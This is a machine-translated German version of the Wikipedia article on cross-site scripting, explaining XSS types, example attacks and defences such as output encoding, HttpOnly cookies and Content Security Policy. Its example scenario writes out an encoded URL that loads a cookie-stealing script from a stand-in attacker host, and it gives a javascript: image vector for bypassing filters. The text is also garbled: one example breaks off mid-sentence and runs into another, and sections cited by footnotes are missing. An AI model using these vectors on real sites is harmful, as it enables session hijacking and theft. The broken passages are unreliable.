Cross-Site-Scripting – Wikipedia

Posted on by

Sicherheitslücke im Computer

Cross-Site-Scripting (XSS) ist eine Art von Sicherheitslücke, die typischerweise in Webanwendungen zu finden ist. XSS-Angriffe ermöglichen es Angreifern, clientseitige Skripte in Webseiten einzuschleusen, die von anderen Benutzern angezeigt werden. Eine Schwachstelle beim Cross-Site-Scripting kann von Angreifern genutzt werden, um Zugriffskontrollen wie die Same-Origin-Policy zu umgehen. Cross-Site-Scripting auf Websites machte etwa 84 % aller von Symantec bis 2007 dokumentierten Sicherheitslücken aus.[1] XSS-Effekte reichen von geringfügigen Belästigungen bis hin zu erheblichen Sicherheitsrisiken, abhängig von der Sensibilität der von der anfälligen Site verarbeiteten Daten und der Art der vom Eigentümernetzwerk der Site implementierten Sicherheitsmaßnahmen.

Hintergrund[edit]

Die Sicherheit im Web hängt von einer Vielzahl von Mechanismen ab, einschließlich eines zugrunde liegenden Vertrauenskonzepts, das als Same-Origin-Policy bekannt ist. Dies besagt im Wesentlichen, dass, wenn Inhalte von einer Website (wie z https://mybank.example1.com) erhält die Berechtigung zum Zugriff auf Ressourcen (wie Cookies usw.) in einem Webbrowser, dann auf Inhalte von einer beliebigen URL mit demselben (1) URI-Schema, (2) Hostnamen, und (3) Portnummer teilt diese Berechtigungen. Für Inhalte von URLs, bei denen sich eines dieser drei Attribute unterscheidet, müssen die Berechtigungen separat erteilt werden.[2]

Cross-Site-Scripting-Angriffe nutzen bekannte Schwachstellen in webbasierten Anwendungen, ihren Servern oder den Plug-in-Systemen, auf denen sie basieren. Angreifer nutzen eine dieser Methoden aus und fügen bösartige Inhalte in die Inhalte ein, die von der kompromittierten Website bereitgestellt werden. Wenn der resultierende kombinierte Inhalt im clientseitigen Webbrowser ankommt, wurde er vollständig von der vertrauenswürdigen Quelle geliefert und arbeitet daher unter den diesem System erteilten Berechtigungen. Indem er Wege findet, bösartige Skripte in Webseiten einzuschleusen, kann ein Angreifer erhöhte Zugriffsrechte auf sensible Seiteninhalte, auf Sitzungscookies und auf eine Vielzahl anderer Informationen erlangen, die vom Browser im Namen des Benutzers verwaltet werden. Cross-Site-Scripting-Angriffe sind ein Fall von Code-Injection.

Im Januar 2000 haben Sicherheitsingenieure von Microsoft den Begriff “Cross-Site-Scripting” eingeführt.[3] Der Ausdruck “Cross-Site-Scripting” bezog sich ursprünglich auf den Vorgang des Ladens der angegriffenen Webanwendung eines Drittanbieters von einer nicht verwandten Angriffs-Site auf eine Weise, die ein vom Angreifer vorbereitetes JavaScript-Fragment im Sicherheitskontext des Ziels ausführt domain (ausnutzen von a reflektiert oder nicht persistent XSS-Schwachstelle). Die Definition wurde nach und nach erweitert, um andere Arten der Codeinjektion zu umfassen, einschließlich persistenter und Nicht-JavaScript-Vektoren (einschließlich ActiveX-, Java-, VBScript-, Flash- oder sogar HTML-Skripts), was bei Neulingen im Bereich der Informationssicherheit einige Verwirrung stiftete.[4]

XSS-Schwachstellen werden seit den 1990er Jahren gemeldet und ausgenutzt. Zu den prominenten Seiten, die in der Vergangenheit betroffen waren, gehören die Social-Networking-Sites Twitter,[5]Facebook,[6]MySpace, YouTube und orkut.[7][8] Cross-Site-Scripting-Fehler haben seither Pufferüberläufe übertroffen und sind zur am häufigsten öffentlich gemeldeten Sicherheitslücke geworden.[9] Einige Forscher schätzten 2007, dass bis zu 68 % der Websites wahrscheinlich für XSS-Angriffe anfällig sind.[10]

Es gibt keine einheitliche, standardisierte Klassifizierung von Cross-Site-Scripting-Fehlern, aber die meisten Experten unterscheiden zwischen mindestens zwei Hauptvarianten von XSS-Fehlern: nicht persistent und hartnäckig. Einige Quellen unterteilen diese beiden Gruppen weiter in traditionell (verursacht durch serverseitige Codefehler) und DOM-basiert (im clientseitigen Code).

Nicht persistent (reflektiert)[edit]

Beispiel für einen nicht persistenten XSS-Fehler

Nicht persistente XSS-Schwachstellen in Google könnten es bösartigen Websites ermöglichen, Google-Benutzer anzugreifen, die sie besuchen, während sie angemeldet sind.[11]

Das nicht persistent (oder reflektiert) Cross-Site-Scripting-Sicherheitslücke ist bei weitem die grundlegendste Art von Web-Sicherheitslücke.[12] Diese Lücken treten auf, wenn die von einem Webclient bereitgestellten Daten, am häufigsten in HTTP-Abfrageparametern (z. B. HTML-Formularübermittlung), sofort von serverseitigen Skripten verwendet werden, um eine Ergebnisseite für und für diesen Benutzer zu analysieren und anzuzeigen, ohne ordnungsgemäß desinfizieren des Inhalts.[13]

Da HTML-Dokumente eine flache, serielle Struktur haben, die Steueranweisungen, Formatierung und den eigentlichen Inhalt vermischt, können alle nicht validierten, vom Benutzer bereitgestellten Daten, die in der resultierenden Seite ohne ordnungsgemäße HTML-Codierung enthalten sind, zu Markup-Injektionen führen.[12][13] Ein klassisches Beispiel für einen potenziellen Vektor ist eine Site-Suchmaschine: Wenn man nach einer Zeichenfolge sucht, wird die Suchzeichenfolge normalerweise wortwörtlich auf der Ergebnisseite erneut angezeigt, um anzuzeigen, wonach gesucht wurde. Wenn diese Antwort HTML-Steuerzeichen nicht ordnungsgemäß maskiert oder ablehnt, tritt ein Cross-Site-Scripting-Fehler auf.[14]

Ein reflektierter Angriff wird normalerweise per E-Mail oder einer neutralen Website übermittelt. Der Köder ist eine unschuldig aussehende URL, die auf eine vertrauenswürdige Site verweist, aber den XSS-Vektor enthält. Wenn die vertrauenswürdige Site für den Vektor anfällig ist, kann das Klicken auf den Link dazu führen, dass der Browser des Opfers das eingefügte Skript ausführt.

Persistent (oder gespeichert)[edit]

Beispiel für einen anhaltenden XSS-Fehler

Das hartnäckig (oder gelagert) Die XSS-Schwachstelle ist eine verheerendere Variante eines Cross-Site-Scripting-Fehlers: Sie tritt auf, wenn die vom Angreifer bereitgestellten Daten vom Server gespeichert und dann dauerhaft auf “normalen” Seiten angezeigt werden, die anderen Benutzern beim normalen Surfen zurückgegeben werden , ohne korrektes HTML-Escape. Ein klassisches Beispiel hierfür sind Online-Messageboards, in denen Benutzer HTML-formatierte Nachrichten für andere Benutzer zum Lesen posten dürfen.[13]

Angenommen, es gibt eine Dating-Website, auf der Mitglieder die Profile anderer Mitglieder scannen, um zu sehen, ob sie interessant aussehen. Aus Datenschutzgründen verbirgt diese Site den richtigen Namen und die E-Mail-Adresse aller Personen. Diese werden auf dem Server geheim gehalten. Der echte Name und die E-Mail-Adresse eines Mitglieds werden nur dann im Browser angezeigt, wenn das Mitglied angemeldet ist und es die von anderen nicht sehen kann.

Angenommen, Mallory, ein Angreifer, tritt der Site bei und möchte die echten Namen der Personen herausfinden, die sie auf der Site sieht. Dazu schreibt sie ein Skript, das von den Browsern anderer Benutzer ausgeführt werden soll, wenn Sie Besuch ihr Profil. Das Skript sendet dann eine kurze Nachricht an ihren eigenen Server, der diese Informationen sammelt.

Um dies zu tun, gibt Mallory auf die Frage “Beschreiben Sie Ihr ideales erstes Date” eine kurze Antwort (um normal zu erscheinen), aber der Text am Ende ihrer Antwort ist ihr Skript zum Stehlen von Namen und E-Mails. Wenn das Skript in a eingeschlossen ist alert('xss'); – welches ausnutzbares Verhalten ist.

  • Mallory erstellt eine URL, um die Schwachstelle auszunutzen:
    1. Sie macht die URL http://bobssite.org/search?q=puppies. Sie könnte die ASCII-Zeichen mit Prozentcodierung codieren, wie z http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E, damit menschliche Leser die schädliche URL nicht sofort entschlüsseln können.[23]
    2. Sie schickt eine E-Mail an einige ahnungslose Mitglieder von Bobs Site und sagt: “Schau dir ein paar süße Welpen an!”
  • Alice bekommt die E-Mail. Sie liebt Welpen und klickt auf den Link. Es geht zu Bobs Website, um zu suchen, findet nichts und zeigt “Welpen nicht gefunden” an, aber mittendrin läuft das Skript-Tag (es ist auf dem Bildschirm unsichtbar) und lädt und führt Mallorys Programm authstealer.js aus (auslösend .). der XSS-Angriff). Alice vergisst es.
  • Das Programm authstealer.js läuft in Alices Browser, als stamme es von Bobs Website. Es schnappt sich eine Kopie von Alices Autorisierungs-Cookie und sendet es an Mallorys Server, wo Mallory es abruft.
  • Mallory legt nun Alices Autorisierungs-Cookie in ihrem Browser ab, als wäre es ihr eigener. Sie geht dann zu Bobs Site und ist jetzt als Alice eingeloggt.
  • Jetzt, wo sie drin ist, geht Mallory zum Abrechnungsbereich der Website, sucht nach Alices Kreditkartennummer und schnappt sich eine Kopie. Dann geht sie und ändert ihr Passwort, damit Alice sich nicht mehr einloggen kann.
  • Sie beschließt, noch einen Schritt weiter zu gehen und sendet einen ähnlich gestalteten Link an Bob selbst, wodurch sie Administratorrechte für Bobs Website erhält.

    • Mehrere Dinge hätten getan werden können, um diesen Angriff abzuschwächen:

    1. Die Sucheingabe hätte bereinigt werden können, was eine ordnungsgemäße Überprüfung der Codierung einschließen würde.
    2. Der Webserver könnte so eingestellt werden, dass ungültige Anfragen umgeleitet werden.
    3. Der Webserver könnte eine gleichzeitige Anmeldung erkennen und die Sitzungen ungültig machen.
    4. Der Webserver könnte eine gleichzeitige Anmeldung von zwei verschiedenen IP-Adressen erkennen und die Sitzungen ungültig machen.
    5. Die Website konnte nur die letzten paar Ziffern einer zuvor verwendeten Kreditkarte anzeigen.
    6. Die Website könnte Benutzer auffordern, ihre Passwörter erneut einzugeben, bevor sie ihre Registrierungsinformationen ändern.
    7. Die Website könnte verschiedene Aspekte der Inhaltssicherheitsrichtlinie enthalten.
    8. Cookie setzen mit HttpOnly Flag, um den Zugriff von JavaScript zu verhindern.

    Anhaltender Angriff[edit]

    1. Mallory bekommt ein Konto auf Bobs Website.
    2. Mallory stellt fest, dass Bobs Website eine gespeicherte XSS-Schwachstelle enthält: Wenn man in den News-Bereich geht und einen Kommentar abgibt, zeigt die Site alles an, was eingegeben wird. Wenn der Kommentartext HTML-Tags enthält, werden diese der Quelle der Webseite hinzugefügt. insbesondere werden alle Skript-Tags ausgeführt, wenn die Seite geladen wird.
    3. Mallory liest einen Artikel im News-Bereich und gibt einen Kommentar ein:
      I love the puppies in this story! They're so cute!
    4. Wenn Alice (oder jemand anderes) die Seite mit dem Kommentar lädt, wird Mallorys Skript-Tag ausgeführt und stiehlt Alices Autorisierungs-Cookie und sendet ihn zur Sammlung an Mallorys geheimen Server.[23]
    5. Mallory kann jetzt Alices Sitzung kapern und sich als Alice ausgeben.[24][23]

    Bobs Website-Software hätte das Skript-Tag entfernen oder etwas unternehmen müssen, um sicherzustellen, dass es nicht funktioniert; der Sicherheitsfehler besteht darin, dass er es nicht getan hat.

    Vorsichtsmaßnahmen[edit]

    Kontextuelle Ausgabecodierung/Escape-Zeichenfolgeneingabe[edit]

    Die kontextbezogene Ausgabecodierung/Escape-Funktion könnte als primärer Abwehrmechanismus verwendet werden, um XSS-Angriffe zu stoppen. Es gibt verschiedene Escaping-Schemata, die verwendet werden können, je nachdem, wo die nicht vertrauenswürdige Zeichenfolge in einem HTML-Dokument platziert werden muss, einschließlich HTML-Entity-Codierung, JavaScript-Escape, CSS-Escape und URL-Codierung (oder Prozent-Codierung).[25] Die meisten Webanwendungen, die keine Rich Data akzeptieren müssen, können mithilfe von Escaping das Risiko von XSS-Angriffen auf relativ einfache Weise weitgehend eliminieren.

    Obwohl allgemein empfohlen, reicht es nicht immer aus, die HTML-Entity-Codierung nur für die fünf signifikanten XML-Zeichen durchzuführen, um viele Formen von XSS-Angriffen zu verhindern. Da die Codierung oft schwierig ist, sind Sicherheitscodierungsbibliotheken normalerweise einfacher zu verwenden.[25]

    Einige Webvorlagensysteme verstehen die Struktur des von ihnen erzeugten HTMLs und wählen automatisch einen geeigneten Encoder aus.[26][27][28] Aber selbst bei einem Vorlagensystem ist es wichtig, nicht vertrauenswürdige Daten nicht in Attribute ohne Anführungszeichen, HREF-Attribute von Hyperlinks, Inline-DOM-Ereignishandler oder andere ähnliche Kontexte zu platzieren, in denen die Skriptausführung direkt möglich ist.[29]

    Sichere Validierung nicht vertrauenswürdiger HTML-Eingaben[edit]

    Viele Betreiber bestimmter Webanwendungen (zB Foren und Webmail) erlauben Benutzern die Verwendung einer begrenzten Teilmenge von HTML-Markup. Wenn Sie HTML-Eingaben von Benutzern akzeptieren (z. B. very large), Ausgabecodierung (wie <b>very</b> large) reicht nicht aus, da die Benutzereingabe vom Browser als HTML gerendert werden muss (also als "sehr groß", statt "sehr large"). Das Stoppen eines XSS-Angriffs bei der Annahme von HTML-Eingaben von Benutzern ist in dieser Situation viel komplexer. Nicht vertrauenswürdige HTML-Eingaben müssen durch eine HTML-Bereinigungs-Engine ausgeführt werden, um sicherzustellen, dass sie keinen XSS-Code enthält.

    Viele Validierungen basieren auf dem Parsen (Blacklisting) bestimmter "gefährdeter" HTML-Tags wie den folgenden

    Bei diesem Ansatz gibt es mehrere Probleme, zum Beispiel können manchmal scheinbar harmlose Tags weggelassen werden, die bei richtiger Verwendung immer noch zu einem XSS führen können

    (siehe Beispiel unten) 

    <img src="javascript:alert(1)">

    Eine andere beliebte Methode besteht darin, Benutzereingaben von " und " zu entfernen, dies kann jedoch auch umgangen werden, da die Nutzlast durch Verschleierung verborgen werden kann (Siehe dies [1] Link für ein extremes Beispiel dafür)

    Cookie-Sicherheit[edit]

    Neben der Inhaltsfilterung werden häufig auch andere unvollkommene Methoden zur Minderung von Cross-Site-Scripting verwendet. Ein Beispiel ist die Verwendung zusätzlicher Sicherheitskontrollen bei der Handhabung der Cookie-basierten Benutzerauthentifizierung. Viele Webanwendungen verlassen sich zur Authentifizierung zwischen einzelnen HTTP-Anfragen auf Sitzungscookies, und da clientseitige Skripte im Allgemeinen Zugriff auf diese Cookies haben, können einfache XSS-Exploits diese Cookies stehlen.[30] Um diese besondere Bedrohung zu mindern (allerdings nicht das XSS-Problem im Allgemeinen), binden viele Webanwendungen Sitzungscookies an die IP-Adresse des Benutzers, der sich ursprünglich angemeldet hat, und erlauben dann nur dieser IP, dieses Cookie zu verwenden.[31] Dies ist in den meisten Situationen effektiv (wenn ein Angreifer nur hinter dem Cookie her ist), bricht jedoch offensichtlich in Situationen zusammen, in denen sich ein Angreifer hinter derselben NAT-IP-Adresse oder demselben Web-Proxy wie das Opfer befindet oder das Opfer seine mobile IP ändert .[31]

    Eine weitere Minderung, die in Internet Explorer (seit Version 6), Firefox (seit Version 2.0.0.5), Safari (seit Version 4), Opera (seit Version 9.5) und Google Chrome vorhanden ist, ist ein Nur HTTP Flag, das es einem Webserver ermöglicht, ein Cookie zu setzen, das für clientseitige Skripte nicht verfügbar ist. Diese Funktion ist zwar von Vorteil, kann jedoch weder den Cookie-Diebstahl vollständig verhindern noch Angriffe innerhalb des Browsers verhindern.[32]

    Skripte deaktivieren[edit]

    Während Web 2.0- und Ajax-Entwickler die Verwendung von JavaScript benötigen,[33] einige Webanwendungen sind so geschrieben, dass sie ohne clientseitige Skripte ausgeführt werden können.[34] Auf diese Weise können Benutzer, wenn sie dies wünschen, die Skripterstellung in ihren Browsern deaktivieren, bevor sie die Anwendung verwenden. Auf diese Weise könnten sogar potenziell bösartige clientseitige Skripte ohne Escape-Zeichen auf einer Seite eingefügt werden, und Benutzer wären nicht anfällig für XSS-Angriffe.

    Einige Browser oder Browser-Plug-ins können so konfiguriert werden, dass clientseitige Skripte auf Domänenbasis deaktiviert werden. Dieser Ansatz ist von begrenztem Wert, wenn Scripting standardmäßig erlaubt ist, da er nur fehlerhafte Sites blockiert nach dem der Benutzer weiß, dass er schlecht ist, was zu spät ist. Effektiver ist eine Funktionalität, die standardmäßig alle Skripts und externen Einschlüsse blockiert und es dem Benutzer dann ermöglicht, sie pro Domain zu aktivieren. Im Internet Explorer (seit Version 4) ist dies seit langem durch das Einrichten von sogenannten "Security Zones",[35] und in Opera (seit Version 9) mit seinen "Site Specific Preferences".[36] Eine Lösung für Firefox und andere Gecko-basierte Browser ist das Open-Source-Add-On NoScript, das neben der Möglichkeit, Skripte pro Domain zu aktivieren, auch bei aktivierten Skripten einen gewissen XSS-Schutz bietet.[37]

    Das größte Problem beim standardmäßigen Blockieren aller Skripte auf allen Websites ist die erhebliche Reduzierung der Funktionalität und Reaktionsfähigkeit (clientseitiges Skripting kann viel schneller sein als serverseitiges Skripting, da keine Verbindung zu einem Remoteserver und der Seite oder dem Frame erforderlich ist muss nicht neu geladen werden).[38] Ein weiteres Problem beim Blockieren von Skripten besteht darin, dass viele Benutzer es nicht verstehen und nicht wissen, wie sie ihre Browser richtig schützen können. Ein weiterer Nachteil ist, dass viele Sites ohne clientseitiges Scripting nicht funktionieren, was die Benutzer dazu zwingt, den Schutz für diese Site zu deaktivieren und ihre Systeme für Schwachstellen zu öffnen.[39] Die Firefox NoScript-Erweiterung ermöglicht es Benutzern, Skripte selektiv von einer bestimmten Seite zuzulassen, während andere auf derselben Seite nicht zugelassen werden. Beispielsweise könnten Skripte von example.com zugelassen werden, während Skripte von Advertisingagency.com, die versuchen, auf derselben Seite ausgeführt zu werden, nicht zugelassen werden könnten.[40]

    Selektives Deaktivieren von Skripten[edit]

    Inhalts-Sicherheits-Richtlinie[41] (CSP) ermöglicht es HTML-Dokumenten, einige Skripte zu deaktivieren, während andere aktiviert bleiben. Der Browser überprüft jedes Skript anhand einer Richtlinie, bevor er entscheidet, ob es ausgeführt werden soll. Solange die Richtlinie nur vertrauenswürdige Skripte zulässt und dynamisches Laden von Code verhindert, führt der Browser unabhängig von der Struktur des HTML-Dokuments keine Programme von nicht vertrauenswürdigen Autoren aus.

    Dies verlagert die Sicherheitslast auf die Richtlinienautoren. Studien[42] Zweifel an der Wirksamkeit von Richtlinien auf der Grundlage von Host-Whitelists aufkommen lassen.

    Insgesamt stellen wir fest, dass 94,68 % der Richtlinien, die versuchen, die Skriptausführung einzuschränken, ineffektiv sind und dass 99,34 % der Hosts mit CSP Richtlinien verwenden, die keinen Vorteil gegenüber XSS bieten.

    Modern[43] CSP-Richtlinien erlauben die Verwendung von Nonces[44] um Skripte im HTML-Dokument als sicher zu markieren, anstatt die Richtlinie vollständig vom Seiteninhalt zu trennen. Solange vertrauenswürdige Nonces nur in vertrauenswürdigen Skripten erscheinen, führt der Browser keine Programme von nicht vertrauenswürdigen Autoren aus. Einige große Anwendungsanbieter berichten, dass sie erfolgreich nonce-basierte Richtlinien bereitgestellt haben.[45][46]

    Aufstrebende Verteidigungstechnologien[edit]

    Die Popularität von clientseitigen Frameworks hat die Art und Weise, wie Angreifer XSS erstellen, verändert.[47]

    Script-Gadgets sind legitime JavaScript-Fragmente innerhalb der legitimen Codebasis einer Anwendung … Wir zeigen, dass diese Gadgets in fast allen modernen JavaScript-Frameworks allgegenwärtig sind und präsentieren eine empirische Studie, die die Verbreitung von Script-Gadgets in produktivem Code zeigt. Daher gehen wir davon aus, dass die meisten Abwehrtechniken in heute geschriebenen Webanwendungen umgangen werden können.

    Vertrauenswürdige Typen[48] ändert Web-APIs, um zu überprüfen, ob Werte als vertrauenswürdig geschützt wurden. Solange Programme nur vertrauenswürdige Werte schützen, kann ein Angreifer, der einen JavaScript-String-Wert kontrolliert, XSS nicht verursachen. Vertrauenswürdige Typen sind so konzipiert, dass sie von blauen Teams überprüft werden können.

    Ein weiterer Verteidigungsansatz besteht darin, automatisierte Tools zu verwenden, die XSS-Schadcode in Webseiten entfernen. Diese Tools verwenden statische Analyse- und/oder Mustervergleichsmethoden, um schädliche Codes potenziell zu identifizieren und sie mit Methoden wie Escape zu schützen.[49]

    SameSite-Cookie-Parameter[edit]

    Wenn ein Cookie mit dem Parameter SameSite=Strict gesetzt wird, wird es aus allen ursprungsübergreifenden Anforderungen entfernt. Wenn es mit SameSite=Lax gesetzt wird, wird es von allen nicht "sicheren" Cross-Origin-Anfragen entfernt (dh von anderen Anfragen als GET, OPTIONS und TRACE, die schreibgeschützte Semantik haben).[50] Die Funktion ist in Google Chrome seit Version 63 und Firefox seit Version 60 implementiert.[51]

    Zugehörige Schwachstellen[edit]

    In einem Universelles Cross-Site-Scripting (UXSS, oder Universal-XSS) Angriff werden Schwachstellen im Browser selbst oder in den Browser-Plugins ausgenutzt (und nicht Schwachstellen in anderen Websites, wie es bei XSS-Angriffen der Fall ist).[52][53]

    Mehrere Klassen von Schwachstellen oder Angriffstechniken beziehen sich auf XSS: Cross-Zone-Scripting nutzt „Zonen“-Konzepte in bestimmten Browsern aus und führt Code normalerweise mit größeren Privilegien aus.[54][55]HTTP-Header-Injection kann verwendet werden, um Cross-Site-Scripting-Bedingungen aufgrund von Escape-Problemen auf HTTP-Protokollebene zu schaffen (zusätzlich zur Aktivierung von Angriffen wie HTTP-Antwortaufteilung).[56]

    Cross-Site Request Forgery (CSRF/XSRF) ist fast das Gegenteil von XSS, da der Angreifer (und seine bösartige Seite) nicht das Vertrauen des Benutzers in eine Site ausnutzen, sondern das Vertrauen der Site in die Client-Software ausnutzen und Anfragen senden, die die Website glaubt, dass es sich um bewusste und absichtliche Handlungen authentifizierter Benutzer handelt.[57] XSS-Schwachstellen (sogar in anderen Anwendungen, die in derselben Domäne ausgeführt werden) ermöglichen es Angreifern, CSRF-Präventionsbemühungen zu umgehen.[58]

    Die verdeckte Umleitung nutzt Clients von Drittanbietern, die anfällig für XSS- oder Open Redirect-Angriffe sind.[59] Normale Phishing-Versuche können leicht zu erkennen sein, da die URL der bösartigen Seite normalerweise um ein paar Buchstaben von der der echten Website abweicht. Der Unterschied bei der verdeckten Umleitung besteht darin, dass ein Angreifer stattdessen die echte Website verwenden könnte, indem er die Website mit einem böswilligen Anmelde-Popup-Dialogfeld beschädigt.[60]

    Schließlich nutzt SQL-Injection eine Schwachstelle in der Datenbankschicht einer Anwendung aus. Wenn Benutzereingaben falsch gefiltert werden, können beliebige SQL-Anweisungen von der Anwendung ausgeführt werden.[61][62]

    Die spezifischen XSSs, die eine bestimmte Version eines Webbrowsers betreffen, sind in der Regel einzigartig. Folglich ist es möglich, XSS zu verwenden, um den Browserhersteller und die Version eines Benutzers per Fingerabdruck zu ermitteln.[63]

    Siehe auch[edit]

    Verweise[edit]

    1. ^ In der zweiten Jahreshälfte 2007 wurden 11.253 standortspezifische Cross-Site-Schwachstellen von XSSed dokumentiert, verglichen mit 2.134 „herkömmlichen“ Schwachstellen, die von Symantec dokumentiert wurden „Symantec Internet Security Threat Report: Trends für Juli–Dezember 2007 (Zusammenfassung)“ (PDF). XIII. Symantec Corp. April 2008: 1–3. Archiviert von das Original (PDF) am 25. Juni 2008. Abgerufen 11. Mai 2008.
    2. ^ "Richtlinie des gleichen Ursprungs - Websicherheit. W3.org". Abgerufen 4. November 2014.
    3. ^ "Dross" auf MSDN (15. Dezember 2009). "Alles Gute zum 10. Geburtstag Cross-Site Scripting!". Abgerufen 19. März, 2016. Am 16. Januar 2000 wurden die folgenden Namen vorgeschlagen und unter einer kleinen Gruppe von Microsoft-Sicherheitsingenieuren herumgewirbelt: [...] Am nächsten Tag herrschte Konsens – Cross Site Scripting.
    4. ^ Grossman, Jeremia (30. Juli 2006). "Die Ursprünge des Cross-Site Scripting (XSS)". Abgerufen 15. September 2008.
    5. ^ Arthur, Charles (21. September 2010). "Twitter-Nutzer, darunter Sarah Brown, von böswilligen Hackerangriffen betroffen". Der Wächter. Abgerufen 21. September, 2010.
    6. ^ Leiden, John (23. Mai 2008). "Facebook von XSS-Fehler gestochen". Das Register. Abgerufen 28. Mai 2008.
    7. ^ "Vollständige Liste der Vorfälle". Konsortium für die Sicherheit von Webanwendungen. 17. Februar 2008. Abgerufen 28. Mai 2008.
    8. ^ Dignan, Larry (21. April 2008). "Obama-Site gehackt; an Hillary Clinton weitergeleitet". ZDNet. Abgerufen 28. Mai 2008.
    9. ^ Christey, Steve; Martin, Robert A. (22. Mai 2007). "Verteilungen von Schwachstellentypen in CVE (Version 1.1)". MITRE Corporation. Abgerufen 7. Juni 2008.
    10. ^ Berinato, Scott (1. Januar 2007). „Offenlegung von Software-Schwachstellen: Der abschreckende Effekt“. CSO. CXO-Medien. s. 7. Archiviert von das Original am 18. April 2008. Abgerufen 7. Juni 2008.
    11. ^ Amit, Yair (21. Dezember 2005). "Google.com UTF-7 XSS-Sicherheitslücken". Wachfeuer. Abgerufen 29. Mai 2008.
    12. ^ ein b Paco, Hoffnung; Walther, Ben (2008). Kochbuch für Web-Sicherheitstests. Sebastopol, CA: O'Reilly Media, Inc. p. 128. ISBN 978-0-596-51483-9.
    13. ^ ein b c "Cross-Site-Scripting". Konsortium für die Sicherheit von Webanwendungen. 2005. Abgerufen 28. Mai 2008.
    14. ^ Grossmann, Jeremia; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS-Angriffe: Cross Site Scripting Exploits und Abwehr (Zusammenfassung). S. 70, 156. ISBN 978-1-59749-154-9. Abgerufen 28. Mai 2008.
    15. ^ Dieser Wurm heißt JS/Ofigel-A, JS/Quickspace.A und JS.Qspace, in "JS/Ofigel-A". Sophos. Archiviert von das Original am 2. August 2009. Abgerufen 5. Juni, 2008. und "Informationsseiten zu F-Secure Malware: JS/Quickspace.A". F-Sicher. 5. Januar 2007. Abgerufen 5. Juni, 2008. und "JS.Qspace". Symantec Corp. 13. Februar 2007. Abgerufen 5. Juni, 2008.
    16. ^ Viren und Würmer in Alcorn, Wade (27. September 2005). „Der Cross-Site-Scripting-Virus“. BindShell.net. Archiviert von das Original am 16. Mai 2008. Abgerufen 27. Mai 2008. und Grossman, Jeremia (November 2020). "Cross-Site-Scripting-Würmer und Viren: Die drohende Bedrohung und die beste Verteidigung". WhiteHat-Sicherheit. s. 20. Abgerufen 6. Juni 2008.[permanent dead link]
    17. ^ „Bug 272620 – XSS-Schwachstelle in internen Fehlermeldungen“. Bugzilla@Mozilla. 2004. Abgerufen 29. Mai 2008.
    18. ^ "DOM-basiertes XSS". OWASP.
    19. ^ "JQuery-Fehler #9521". 2011.
    20. ^ "Spickzettel zur DOM-basierten XSS-Prävention". OWASP.
    21. ^ "Strenge kontextuelle Flucht". Angular.js.
    22. ^ "Self-XSS-Facebook-Betrug versucht, Benutzer dazu zu bringen, sich selbst zu hacken". www.majorgeeks.com. 29. Juli 2014. Abgerufen 20. September 2016.
    23. ^ ein b c Lakshmanan Ganapathy (16. Februar 2012). „XSS-Angriffsbeispiele (Cross-Site-Scripting-Angriffe)“. www.thegeekstuff.com.
    24. ^ Brodkin, Jon (4. Oktober 2007). "Die 10 häufigsten Gründe, warum Websites gehackt werden". Netzwerkwelt. IDG. Abgerufen 6. Februar, 2017.
    25. ^ ein b Williams, Jeff (19. Januar 2009). "XSS (Cross Site Scripting) Präventions-Spickzettel". OWASP. Abgerufen 4. Februar, 2010.
    26. ^ "template - Die Programmiersprache Go". golang.org. Abgerufen 1. Mai, 2019.
    27. ^ "Google-Entwickler". Google-Entwickler. Abgerufen 1. Mai, 2019.
    28. ^ "Mops-Plugin-vertrauenswürdige-Typen". npm. Abgerufen 1. Mai, 2019.
    29. ^ "XSS-Angriffe und -Prävention: Ein Entwicklerhandbuch". appsecmonkey.com. Abgerufen 24. Februar, 2021.
    30. ^ Sharma, Anand (3. Februar 2004). „Verhindern Sie einen Cross-Site-Scripting-Angriff“. IBM. Abgerufen 29. Mai 2008.
    31. ^ ein b "ModSecurity: Funktionen: PDF Universal XSS Protection". Sicherheitslücken. Archiviert von das Original am 23. März 2008. Abgerufen 6. Juni 2008.
    32. ^ "Ajax- und Mashup-Sicherheit". OpenAjax-Allianz. Archiviert von das Original am 3. April 2008. Abgerufen 9. Juni 2008.
    33. ^ O'Reilly, Tim (30. September 2005). "Was ist Web 2.0". O'Reilly-Medien. S. 4–5. Abgerufen 4. Juni 2008.
    34. ^ "Eine Seite sollte, auch in degradierter Form, ohne JavaScript funktionieren." im Zammetti, Frank (16. April 2007). Praktisches JavaScript, DOM Scripting und Ajax-Projekte über Amazon Reader. Apress. s. 36. ISBN 978-1-59059-816-0. Abgerufen 4. Juni 2008.
    35. ^ "So verwenden Sie Sicherheitszonen in Internet Explorer". Microsoft. 18. Dezember 2007. Abgerufen 4. Juni 2008.
    36. ^ Lie, Håkon Wium (7. Februar 2006). "Opera 9 Technologievorschau 2". Opera-Software. Archiviert von das Original am 17. Mai 2008. Abgerufen 4. Juni 2008.
    37. ^ "NoScript". Mozilla. 30. Mai 2008. Abgerufen 4. Juni 2008. und Mogull, Rich (18. März 2008). "Sollten Mac-Benutzer Antivirus-Software ausführen?". Leckerbissen. TidBITS-Veröffentlichung. Abgerufen 4. Juni 2008.
    38. ^ ""Clientseitige Ereignisse verwenden" im DataWindow-Programmierhandbuch". Sybase. März 2003. Archiviert von das Original am 18. Juni 2008. Abgerufen 4. Juni 2008.
    39. ^ 73 % der Websites verließen sich Ende 2006 auf JavaScript "'Fehler bei den meisten Websites deaktiviert". BBC News. 6. Dezember 2006. Abgerufen 4. Juni 2008.
    40. ^ "NoScript-Funktionen". Abgerufen 7. März, 2009.
    41. ^ "Inhaltssicherheitsrichtlinie Stufe 3". www.w3.org. Abgerufen 1. Mai, 2019.
    42. ^ Weichselbaum, Lukas (2016). "CSP ist tot, es lebe CSP! Über die Unsicherheit von Whitelists und die Zukunft der Inhaltssicherheitspolitik" (PDF). Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. CCS '16: 1376–1387. mach:10.1145/2976749.2978363. ISBN 9781450341394. S2CID 16400010.
    43. ^ "Kann ich... Unterstützungstabellen für HTML5, CSS3 usw. verwenden". caniuse.com. Abgerufen 1. Mai, 2019.
    44. ^ „Strenge CSP – Inhaltssicherheitsrichtlinie“. csp.withgoogle.com. Abgerufen 1. Mai, 2019.
    45. ^ "Wie Google die Inhaltssicherheitsrichtlinie verwendet, um Webfehler zu mildern". eWOCHE. Abgerufen 1. Mai, 2019.
